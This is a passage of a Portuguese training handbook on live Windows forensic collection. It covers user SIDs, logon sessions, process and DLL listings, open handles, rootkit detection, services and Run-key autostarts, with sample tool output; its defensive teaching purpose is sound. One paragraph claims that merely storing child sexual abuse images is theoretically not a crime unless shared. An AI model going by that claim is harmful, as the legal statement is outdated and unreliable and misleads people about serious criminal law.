O próximo passo serve para identificar corretamente a máquina investigada. Muitas vezes, um incidente em uma empresa pode envolver uma máquina que não deveria fazer parte da rede. Por exemplo, se o invasor for um funcionário que resolveu levar seu notebook ou computador pessoal para a sua empresa, nela não vai haver registro sobre a máquina. Precisamos descobrir como ela se identifica na rede, pois em ambiente Windows esse nome é transmitido pela rede pelo protocolo NETBIOS e pode ser importante saber essa informação ao examinar os logs. A seguir, precisamos coletar informações sobre os usuários da máquina, já que essa informação não é mantida em um arquivo como o passwd no Linux. O primeiro passo é identificar o usuário que está logado na máquina atualmente, medida necessária caso o investigador encontre a máquina logada ao chegar para a investigação inicial.
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> psgetsid SID for \\COMPUTADOR: S-1-5-21-4042056708-2335835806-3410500470 D:\IR\xp> psgetsid Usuario SID for COMPUTADOR\Usuario: S-1-5-21-4042056708-2335835806-3410500470-1006
Uma informação importante sobre o usuário logado, que é uma característica do Windows, é o chamado SID (Secure Identification). Este identificador é um número único que identifica o usuário ou a máquina na rede e é normalmente utilizado em diversos recursos do sistema para indicar quem tem permissões para acessar tais recursos. Estes identificadores são importantes ao analisar diversas evidências no Windows que tenham relação com permissões e segurança. Podemos determinar um usuário específico para descobrir o SID.
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> psloggedon Users logged on locally: Error: could not retrieve logon time NT AUTHORITY\LOCAL SERVICE Error: could not retrieve logon time NT AUTHORITY\NETWORK SERVICE 29/1/2008 14:40:10 COMPUTADOR\Usuario Error: could not retrieve logon time NT AUTHORITY\SYSTEM No one is logged on via resource shares.
Observamos no slide que além das contas de sistema, somente o usuário que já vimos está conectado localmente no computador. Além disso, o comando do slide indica conexões remotas através de compartilhamentos na máquina, o que pode ser uma informação importante se o incidente envolver roubos de propriedade intelectual ou pedofilia.
Neste último caso, é importante notar que se um usuário mantém arquivos de pornografia infantil em sua máquina, teoricamente não está cometendo crime, pois de acordo com o código da criança e do adolescente, o crime consiste em transmitir ou tornar pública a informação. Entretanto, se o computador onde estão armazenadas as fotos tiver um compartilhamento de diretório, pode ser considerada a disponibilização pública, e consequentemente a caracterização criminal.
Análise forense avançada em Windows
138
Escola Superior de Redes RNP
O comando logonsessions.exe permite descobrir todas as sessões de login existentes e os usuários associados a elas. Vemos no slide um login de usuário no console. O comando também exibe logins:
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> logonsessions [2] Logon session User name: Auth package: Logon type: Session: Sid: 3410500470-1006 Logon time: Logon server: DNS Domain: UPN:
00000000:00018df7: COMPUTADOR\Usuario NTLM Interactive 0 S-1-5-21-4042056708-2335835806-
\\Sem \\De
interatividade;
serviços ou processos do sistema;
\\Remotos.
29/1/2008 14:40:08 COMPUTADOR
D:\IR\xp> net users8
Coleta de informações básicas
User accounts for __vmware_user__ curso Usuario
Informações sobre o sistema D:\IR\xp> net users User accounts for \\COMPUTADOR __vmware_user__ Administrator curso Guest Usuario SUPPORT_12312331
ASPNET HelpAssistant
\\COMPUTADOR Administrator Guest SUPPORT_12312331
ASPNET HelpAssistant
D:\IR\xp> userdump \\COMPUTADOR usuario8 Querying Controller \\COMPUTADOR Privs: Admin Privs OperatorPrivs: No explicit OP Privs Password age: Tue Jan 29 21:43:33 2008 LastLogon: Fri Jul 20 19:40:29 2007 LastLogoff: Thu Jan 01 00:00:00 1970 Acct Expires: Never
D:\IR\xp> userdump \\COMPUTADOR usuario Querying Controller \\COMPUTADOR Privs: Admin Privs OperatorPrivs: No explicit OP Privs Password age: Tue Jan 29 21:43:33 2008 LastLogon: Fri Jul 20 19:40:29 2007 LastLogoff: Thu Jan 01 00:00:00 1970 Acct Expires: Never
O comando acima permite listar os usuários cadastrados na máquina. Este comando já foi visto na última sessão. O comando net.exe faz parte do pacote básico do Windows, e tem diversos parâmetros que podem ser usados para interagir com o sistema. Podemos usar a ferramenta UserDump.exe para coletar informações sobre todos os usuários do sistema. Veja as informações sobre o último login do usuário e sobre a validade da senha, que podem ter importância na investigação.
Análise forense – Sessão de aprendizagem 9
139
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> ntfsinfo c: Allocation Size ---------------Bytes per sector : Bytes per cluster : Bytes per MFT record : Clusters per MFT record: MFT Information --------------MFT size : MFT start cluster : MFT zone clusters : MFT zone size : MFT mirror start : Meta-Data files ---------------
512 4096 1024 0
176 MB (0% of drive) 6 5656576 - 5676928 79 MB (0% of drive) 629425
D:\IR\xp> ntfsinfo c:8 Allocation Size ---------------Bytes per sector : 512 Bytes per cluster : 4096 Bytes per MFT record : 1024 Clusters per MFT record: 0 MFT Information --------------MFT size : 176 MB (0% of drive) MFT start cluster : 6 MFT zone clusters : 5656576 - 5676928 MFT zone size : 79 MB (0% of drive) MFT mirror start : 629425 Meta-Data files ---------------
Uma informação que pode ser importante para a análise posterior da imagem de disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algumas informações básicas sobre o disco. Veja no slide informações importantes sobre a estrutura de arquivos no disco especificado no comando: confira especialmente as informações sobre o MFT.
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> mem 655360 bytes total conventional memory 655360 bytes available to MS-DOS 598160 largest executable program size 1048576 bytes total contiguous extended memory 0 bytes available contiguous extended memory 941056 bytes available XMS memory MS-DOS resident in High Memory Area
Coleta de informações básicas Informações sobre o sistema D:\IR\xp> psinfo System information for \\COMPUTADOR: Uptime: 0 days 4 hours 56 minutes 29 seconds Kernel version: Microsoft Windows XP, Uniprocessor Free Product type: Professional Product version: 5.1 Service pack: 2 Kernel build number: 2600 Registered organization: Registered owner: Usuario Install date: 18/10/2005, 19:19:17 Activation status: Error reading status IE version: 7.0000 System root: C:\WINDOWS Physical memory: 1022 MB
Análise forense avançada em Windows
D:\IR\xp> mem8 655360 655360 598160 1048576 0 941056 MS-DOS
bytes total conventional memory bytes available to MS-DOS largest executable program size bytes total contiguous extended memory bytes available contiguous extended memory bytes available XMS memory resident in High Memory Area
O comando mem.exe fornece informações sobre a memória do sistema.
D:\IR\xp> psinfo8 System information for \\COMPUTADOR: Uptime: 0 days 4 hours 56 minutes 29 seconds Kernel version: Microsoft Windows XP, Uniprocessor Free Product type: Professional Product version: 5.1 Service pack: 2 Kernel build number: 2600 Registered organization: Registered owner: Usuario Install date: 18/10/2005, 19:19:17 Activation status: Error reading status IE version: 7.0000 System root: C:\WINDOWS Physical memory: 1022 MB
140
Escola Superior de Redes RNP
Lembrando dos tipos de incidentes que normalmente acontecem em um sistema Windows, percebemos que grande parte deles pode acontecer em sistemas que não são atualizados constantemente. Por isso, é importante descobrir se o sistema que estamos analisando está atualizado e devidamente autenticado. O comando psinfo.exe permite descobrir este tipo de informação. Temos no slide diversas informações importantes, como a versão do Windows instalada, informações sobre o registro e ativação do sistema, a duração do tempo em que o sistema está ligado, a versão do Internet Explorer, a data de instalação do Windows, a memória do sistema e informações sobre o hardware. Observe que a informação sobre ativação nem sempre pode ser lida como vemos no comando acima. No exemplo, o comando foi executado em uma máquina devidamente ativada e autenticada.
Processos em execução no sistema
Processos em execução no sistema D:\IR\xp> ps -a -W8
D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY 4 0 0 4 ? unknown *** 944 0 0 944 ? \SystemRoot\System32\smss.exe 1068 0 0 1068 ? \??\C:\WINDOWS\system32\winlogon.exe 1112 0 0 1112 ? C:\WINDOWS\system32\services.exe 1124 0 0 1124 ? C:\WINDOWS\system32\lsass.exe 1272 0 0 1272 ? C:\WINDOWS\system32\Ati2evxx.exe 1284 0 0 1284 ? C:\WINDOWS\system32\svchost.exe …
UID STIME COMMAND 0 16:24:48 *** 0 14:39:48 0 14:39:58 0 14:39:58 0 14:39:58 0 14:39:59 0 14:39:59
PID PPID PGID WINPID TTY UID STIME COMMAND 4 0 0 4 ? 0 16:24:48 *** unknown *** 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss. exe 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\ winlogon.exe 1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv ices.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas s.exe 1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2 evxx.exe 1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch ost.exe …
Outra informação importante a coletar em um sistema invadido é referente aos processos executados pelo sistema. Muitas vezes, é possível ainda encontrar em execução o programa do vírus ou worm que invadiu a máquina, ou algum servidor executado por um invasor para prover acesso a material ilícito. Uma das características que consideramos imprescindíveis em nossas ferramentas é a capacidade de obterem o mesmo resultado sob as mesmas condições iniciais. Isto é muito importante na lista de processos, pois diversos fatores podem influir no resultado das ferramentas, e muitos deles podem indicar um comprometimento maior do sistema. O comando ps.exe, disponível no kit de ferramentas, permite listar os processos em execução no sistema. Uma informação importante, que não é dada pelo Gerenciador de Tarefas, por exemplo, é o caminho completo do executável. Esta informação é importante quando for necessário diferenciar entre o nome de um processo válido do sistema, como por exemplo svchost.exe. Análise forense – Sessão de aprendizagem 9
141
Processos em execução no sistema Necessidade de descobrir o caminho completo do executável Programas maliciosos se disfarçam como executáveis válidos Se você observar os processos msmgs.exe ou scvhost.exe, vai identificá-los como maliciosos? É importante conhecer os processos mais comuns em sistemas Windows
Alguns vírus e ferramentas hacker utilizam este mesmo nome para confundir os usuários, já que o Gerenciador de Tarefas não diferencia um arquivo pelo nome completo. Quanto a isso, é importante comentar que muitos vírus e ferramentas hacker utilizam esta técnica para tentarem se passar despercebidos pelo usuário. Muitos vírus costumam utilizar os nomes scvhost.exe ou msmgs.exe. É possível perceber algum problema com estes processos?
Por conta disso, é importante o investigador conhecer bem os processos comuns do Windows. A correta identificação de um processo válido pode depender de alguns fatores, como conhecimento prévio sobre serviços oferecidos no sistema, serviços básicos da plataforma Windows e conhecimentos sobre processos que podem ser inseridos no sistema por aplicações válidas. O principal problema é diferenciar entre o processo legítimo svchost.exe e o processo falso scvhost.exe. \\Alg.exe
– Application Layer Gateway Service, serviço relacionado com o firewall do Windows (pode ser terminado pelo Gerenciador de tarefas).
Processos em execução no sistema Processo
Pode ser terminado pelo Gerenciador de tarefas?
Descrição
Alg.exe
Application Layer Gateway Service, serviço relacionado com o firewall do Windows.
Sim
csrss.exe
client/server run-time subsystem
Não
explorer.exe
Interface do usuário.
Sim
internet.exe
Executado na inicialização, permite a troca de configuração do teclado e aparece como ícone no System Tray.
Sim
Local security authentication server
Não
mstask.exe
Task scheduler service
Não
smss.exe
lsass.exe
Session manager subsystem, responsável por iniciar a sessão do usuário.
Não
spoolsv.exe
Spooler service, responsável pela fila de impressão.
Não
svchost.exe
Generic Service Process, atua como host para outros processos executados por dlls; normalmente existe em mais de uma instância. É utilizado também para executar serviços de rede.
Não
services.exe
Services Control Manager, responsável por iniciar e terminar serviços do sistema.
Não
system
System kernel-mode threads
Não
system idle process
Processo que contabiliza o processamento disponível no sistema, normalmente ocupando a maioria do processamento disponível (99%).
Não
taskmgr.exe
Gerenciador de tarefas
Sim
winlogon.exe
Responsável pelo processo de login/logout do usuário.
Não
\\csrss.exe
– client/server run-time subsystem (não pode ser terminado pelo Gerenciador de tarefas).
\\explorer.exe
– Interface do usuário (pode ser terminado pelo Gerenciador de tarefas).
\\internet.exe
– Executado na inicialização, permite a troca de configuração do teclado e aparece como ícone no System Tray (pode ser terminado pelo Gerenciador de tarefas).
\\lsass.exe
– Local security authentication server (não pode ser terminado pelo Gerenciador de tarefas).
\\mstask.exe
– Task scheduler service (não pode ser terminado pelo Gerenciador
de tarefas). \\smss.exe
– Session manager subsystem, responsável por iniciar a sessão do usuário (não pode ser terminado pelo Gerenciador de tarefas).
\\spoolsv.exe
– Spooler service, responsável pela fila de impressão (não pode ser terminado pelo Gerenciador de tarefas).
\\svchost.exe
– Generic Service Process, atua como host para outros processos executados por dlls; normalmente existe em mais de uma instância. É utilizado também para executar serviços de rede (não pode ser terminado pelo Gerenciador de tarefas).
\\services.exe
– Services Control Manager, responsável por iniciar e terminar serviços do sistema (não pode ser terminado pelo Gerenciador de tarefas).
Análise forense avançada em Windows
142
Escola Superior de Redes RNP \\System
– System kernel-mode threads (não pode ser terminado pelo Gerenciador de tarefas).
\\system
idle process – Processo que contabiliza o processamento disponível no sistema, normalmente ocupando a maioria do processamento disponível (99%) (não pode ser terminado pelo Gerenciador de tarefas).
\\taskmgr.exe
– Gerenciador de tarefas (pode ser terminado pelo Gerenciador
de tarefas). \\winlogon.exe
– Responsável pelo processo de login/logout do usuário (não pode ser terminado pelo Gerenciador de tarefas).
O site processlibrary.com permite pesquisar um nome de arquivo e saber se ele é usado por algum vírus. D:\IR\xp> pslist8
Processos em execução no sistema D:\IR\xp> pslist Process information for COMPUTADOR: Name Pid Pri Thd Hnd Idle 0 0 1 0 System 4 8 68 645 smss 944 11 3 21 csrss 1040 13 13 747 winlogon 1068 13 22 448 services 1112 9 15 337 lsass 1124 9 21 461 ati2evxx 1272 8 5 71 svchost 1284 8 18 220 ...
Priv 0 0 168 2004 6388 1996 5868 796 3384
CPU Time 5:22:42.671 0:01:50.234 0:00:00.015 0:00:53.640 0:00:00.937 0:00:10.515 0:00:05.187 0:00:00.343 0:00:00.203
Elapsed Time 0:00:00.000 0:00:00.000 6:18:01.531 6:17:55.000 6:17:52.234 6:17:52.046 6:17:52.031 6:17:51.218 6:17:51.203
Process information for COMPUTADOR: Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 System 4 8 68 645 0 0:01:50.234 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000 winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234 services 1112 9 15 337 1996 0:00:10.515 6:17:52.046 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031 ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203 ...
Este comando tem diversos parâmetros interessantes para listar a utilização de memória de cada processo ou os threads que cada um mantém. Vale a pena estudar melhor este comando. Análise forense – Sessão de aprendizagem 9
143
Processos em execução no sistema D:\IR\xp> ..\diamondcs\cmdline.exe DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP 944 - \SystemRoot\System32\smss.exe Unable to read memory from PID 944 1040 - \??\C:\WINDOWS\system32\csrss.exe C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe 1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\services.exe 1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1272 - C:\WINDOWS\system32\Ati2evxx.exe
D:\IR\xp> ..\diamondcs\cmdline.exe8 DiamondCS Commandline Retrieval Tool for Windows NT 4/2K/XP 944 - \SystemRoot\System32\smss.exe Unable t o read memory from PID 944 1040 - \??\C:\WINDOWS\system32\csrss.exe C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind ows SharedSection=1024,3072,512 Windows=On SubSyste mType=Windows ServerDll=basesrv,1 ServerDll=winsrv: UserServerDllInitialization,3 ServerDll=winsrv:ConS erverDllInitialization,2 ProfileControl=Off MaxReque stThreads=16 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo n.exe 1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\ system32\services.exe 1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys tem32\lsass.exe 1272 - C:\WINDOWS\system32\Ati2evxx.exe
Uma característica desta ferramenta é mostrar os parâmetros passados na linha de comando de cada processo. Uma característica importante desta ferramenta é a possibilidade de visualizar diversas propriedades importantes sobre cada processo, incluindo threads, conexões TCP/IP abertas pelo processo, informações de desempenho, strings dentro do executável, entre outras informações.
Análise forense avançada em Windows
144
Escola Superior de Redes RNP
Processos em execução no sistema É necessário comparar diversas ferramentas, pois alguns programas maliciosos escondem informações do Windows Rootkits usam essa técnica Inconsistências entre duas ferramentas podem ser a indicação de um rootkit É sempre útil ter disponível uma ferramenta anti-rootkit
Vimos até agora uma série de ferramentas diferentes para listagem de processos ativos, e a importância de comparar o resultado destas ferramentas para identificar incoerências e possíveis comprometimentos. A razão disso é que em muitos casos, os vírus e ferramentas hacker utilizam tecnologias de rootkit para esconder informações do usuário e do sistema operacional.
Ao realizar a análise forense em uma imagem de um disco Windows, é possível encontrar informações que poderiam estar escondidas pelo rootkit, mas no caso de processos é necessário verificar essa informação na máquina on-line. Portanto, é importante o investigador ter sempre disponível uma boa ferramenta anti-rootkit. No kit de ferramentas encontramos o Rootkit Revealer. Este programa examina a máquina e procura por inconsistências na forma como o Windows reporta informações sobre processos e arquivos, utilizando diversas técnicas. Muitas vezes, isto é suficiente para identificar a presença de um rootkit. No exemplo do slide, observamos diversas inconsistências detectadas pelo programa. A maioria delas é representada por falsos positivos, mas repare nas últimas 4 linhas do log: elas mostram chaves de registro escondidas da API do Windows por alguma ferramenta, o que pode indicar a presença do rootkit. No caso abaixo, no entanto, são mostradas as chaves de registro referentes ao programa Daemon Tools, um simulador de drive de CD utilizado para montar imagens de CD como se fossem drives. Esta ferramenta usa tecnologias rootkit para realizar estas operações, mas não é maliciosa.
Análise forense – Sessão de aprendizagem 9
145
Bibliotecas do sistema
Bibliotecas do sistema Windows utiliza bibliotecas compartilhadas, conhecidas como Dinamic Link Library (DLL) Normalmente ficam armazenadas no diretório C:\WINDOWS\SYSTEM32 Pode ser um problema quando bibliotecas comprometidas são utilizadas para modificar a forma de funcionamento de um processo, comprometendo o sistema Um exemplo desse tipo de ataque é a injeção de código no Internet Explorer, através da exploração de alguma falha do programa
Windows utiliza bibliotecas compartilhadas, conhecidas como Dinamic Link Library (DLL). Elas normalmente ficam armazenadas no diretório C:\WINDOWS\ SYSTEM32, mas os processos podem retirá-las do diretório corrente se elas estiverem nele.
Pode ser um problema quando bibliotecas comprometidas são utilizadas para modificar a forma de funcionamento de um processo, comprometendo o sistema. Um exemplo desse tipo de ataque é a injeção de código no Internet Explorer, através da exploração de alguma falha do programa. Com isso, o hacker consegue comprometer o sistema sem modificar ou executar nenhum binário estranho. D:\IR\xp> listdlls wordpad8
Bibliotecas do sistema D:\IR\xp> listdlls wordpad wordpad.exe pid: 676 Command line: "C:\Program Files\Windows NT\Accessories\wordpad.exe" Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\Windows NT\Accessories\wordpad.exe 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system32\ntdll.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system32\kernel32.dll 0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system32\MFC42u.DLL 0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system32\msvcrt.dll 0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system32\GDI32.dll 0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system32\USER32.dll …
wordpad.exe pid: 676 Command line: “C:\Program Files\Windows NT\Accessor ies\wordpad.exe” Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\ Windows NT\Accessories\wordpad.exe 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system 32\ntdll.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system 32\kernel32.dll 0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system 32\MFC42u.DLL 0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system 32\msvcrt.dll 0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system 32\GDI32.dll 0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system 32\USER32.dll
Se não for especificado um nome de processo, ele simplesmente lista todas as DLLs de todos os processos em execução. Portanto, esta pode ser também uma boa ferramenta para listar processos em execução.
Bibliotecas do sistema D:\IR\xp> ..\winfingerprint\procinterrogate -pid 676 ProcInterrogate Version 0.0.1 by Kirby Kuehl
[email protected] wordpad.exe (Process ID: 676) Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Windows NT\Accessories\wordpad.exe 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32\ntdll.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32\kernel32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32\MFC42u.DLL 0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32\msvcrt.dll 0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32\GDI32.dll 0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll 0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll …
Análise forense avançada em Windows
D:\IR\xp> ..\winfingerprint\procinterrogate -pid 6768 ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum @users.sourceforge.net wordpad.exe (Process ID: 676) Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Wi ndows NT\Accessories\wordpad.exe 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32 \ntdll.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32 \kernel32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32 \MFC42u.DLL 0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32 \msvcrt.dll 0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32 \GDI32.dll
146
Escola Superior de Redes RNP 0x7E42E966 0x77DD70D4
0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll
Uma coisa que o investigador deve estar atento ao examinar estes comandos são bibliotecas localizadas em local que não seja padrão no sistema. Outra indicação de que o sistema pode ter sido comprometido é a presença de bibliotecas com o mesmo nome do sistema, mas com versões diferentes das outras bibliotecas padrão. Além destas ferramentas, existe uma ferramenta gráfica no kit de ferramentas que permite listar as DLLs que são automaticamente injetadas em todos os processos executados. Esta ferramenta chama-se InjectedDLL.exe Podemos inclusive listar mais informações sobre uma DLL clicando duas vezes sobre ela, como no exemplo abaixo.
Análise forense – Sessão de aprendizagem 9
147
Informações sobre arquivos abertos
Informações sobre arquivos abertos D:\IR\xp> handle -a -u wordpad8
Arquivos abertos D:\IR\xp> handle -a -u wordpad csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpad.exe(676): 1684 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpad.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpad.exe(676) lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpad.exe(676) svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wordpad.exe(676) cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: wordpad.exe(676) wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\Software\Microsoft\Windows\ CurrentVersion\Applets\Wordpad wordpad.exe pid: 676 COMPUTADOR\Usuario 84: wordpad.exe(676): 2812 wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpad.exe(676): 1684 wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpad.exe(676): 3428
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpa d.exe(676): 1684 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpa d.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpa d.exe(676) lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpa d.exe(676) svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wor dpad.exe(676) cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: word pad.exe(676) wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\So ftware\Microsoft\Windows\ CurrentVersion\Applets\Wo rdpad wordpad.exe pid: 676 COMPUTADOR\Usuario 84:wordpad. exe(676): 2812 wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpa d.exe(676): 1684 wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpa d.exe(676): 3428
Outra informação importante sobre os processos, além das bibliotecas que eles utilizam, é relativa aos arquivos que eles mantêm abertos. Um processo desconhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos durante a execução. É importante tentar recuperar essa informação, pois isso pode facilitar o trabalho de investigação posterior. Podemos ver no slide todos os arquivos abertos e os processos que controlam, além de chaves de registro e do usuário que iniciou o processo.
Análise forense avançada em Windows
148
Escola Superior de Redes RNP
Outra ferramenta útil para ver arquivos abertos em tempo real é a Filemon. Com ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando leituras ou escritas na tabela de partição.
Serviços em execução Serviços são programas iniciados pelo sistema operacional Funções: Oferecer algum tipo de serviço aos usuários Controlar algum tipo de acesso aos dispositivos conectados Por exemplo, o compartilhamento de arquivos em rede é controlado pelo serviço “Servidor” e as conexões com uma câmera digital ou celular são feitas pelos respectivos serviços instalados pelos drivers de dispositivo
Serviços em execução Podemos utilizar a própria ferramenta do Windows para listar os serviços iniciados. O problema desta ferramenta é que ela não lista mais nenhuma informação sobre os serviços, e isto pode não ser suficiente para identificar um possível serviço falso instalado por um invasor.
Serviços em execução D:\IR\xp> net start These Windows services are started: Ad-Aware 2007 Service Adobe LM Service Application Layer Gateway Service Ati HotKey Poller Automatic Updates avast! Antivirus avast! iAVS4 Control Service Background Intelligent Transfer Service …
Serviços em execução D:\IR\xp> servicelist \\COMPUTADOR ServiceList v1.0 Copyright 1999 www.NetLatency.com Service Name Stats Alerter Display Name: Alerter State: Stopped Type: Windows Shared Process Controls: UNKNOWN #0 ALG Display Name: Application Layer Gateway Service State: Running Type: Windows Own Process Controls: START STOP aswUpdSv Display Name: avast! iAVS4 Control Service State: Running Type: Windows Own Process Desktop Interactive Process Controls: START STOP SYSTEM SHUTDOWN
Análise forense – Sessão de aprendizagem 9
Podemos ver no slide os serviços e comandos aceitos por COMPUTADOR. É possível controlar o estado de um serviço com um dos comandos abaixo: \\net
start
\\net
stop
149
O psservice permite um controle muito maior sobre os serviços, como mostra a ajuda do comando mostrada no slide.
Serviços em execução D:\IR\xp> psservice /? PsService lists or controls services on a local or remote system. Usage: psservice [\\Computer [-u Username [-p Password]]] Cmd is one of the following: query Queries the status of a service config Queries the configuration setconfig Sets the configuration start Starts a service stop Stops a service restart Stops and then restarts a service pause Pauses a service cont Continues a paused service depend Enumerates the services that depend on the one specified find Searches for an instance of a service on the network security Reports the security permissions assigned to a service
Serviços em execução Inicialização do sistema Diversas configurações do Windows permitem iniciar programas junto com o sistema O registro é um conjunto de configurações do sistema Alguns programas podem ser iniciados antes de qualquer antivírus ou firewall
Além dos serviços iniciados pelo sistema, o Windows ainda permite a execução automática de programas durante a sua inicialização. Para isso, existem diversas configurações possíveis do sistema que permitem configurar um programa para iniciar automaticamente. Além do arquivo Autoexec.bat, que era utilizado desde a época do MS-DOS para iniciar programas, o Windows permite a utilização de algumas chaves de registro para essa finalidade. O registro é um conjunto de configurações do sistema. Vimos anteriormente uma ferramenta que permite fazer consultas ao registro: reg.exe. D:\IR\xp> reg query HKLM\Software\Microsoft\Windows \CurrentVersion\Run8
Serviços em execução D:\IR\xp> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run Listing of [Software\Microsoft\Windows\CurrentVersion\\Run] REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\SynTPLpr.exe REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\SynTPEnh.exe REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Launch Buttons\EabServr.exe /Start REG_SZ DAEMON Tools-1033 "C:\Program Files\DTools\daemon.exe" -lang 1033 REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\system32\bcmntray REG_SZ Windows Defender "C:\Program Files\Windows Defender\MSASCui.exe" -hide REG_SZ COMODO Firewall Pro "C:\Program Files\Comodo\Firewall\CPF.exe" /background REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
Listing of [Software\Microsoft\Windows\CurrentVersi on\\Run] REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\Sy nTPLpr.exe REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\Sy nTPEnh.exe REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Laun ch Buttons\EabServr.exe /Start REG_SZ DAEMON Tools-1033 “C:\Program Files\D-Tools\ daemon.exe” -lang 1033 REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\syst em32\bcmntray REG_SZ Windows Defender “C:\Program Files\Windows D efender\MSASCui.exe” -hide REG_SZ COMODO Firewall Pro “C:\Program Files\Comodo \Firewall\CPF.exe” /background REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
Uma das chaves do registro que permitem a execução de processos na inicialização do sistema é a chave “HKLM\Software\Microsoft\Windows\CurrentVersion\ Run”. Podemos descobrir quais programas são iniciados automaticamente com o comando expresso no slide. Análise forense avançada em Windows
150
Escola Superior de Redes RNP No exemplo temos diversos processos configurados para iniciar juntamente com o sistema. D:\IR\xp> autorunsc8
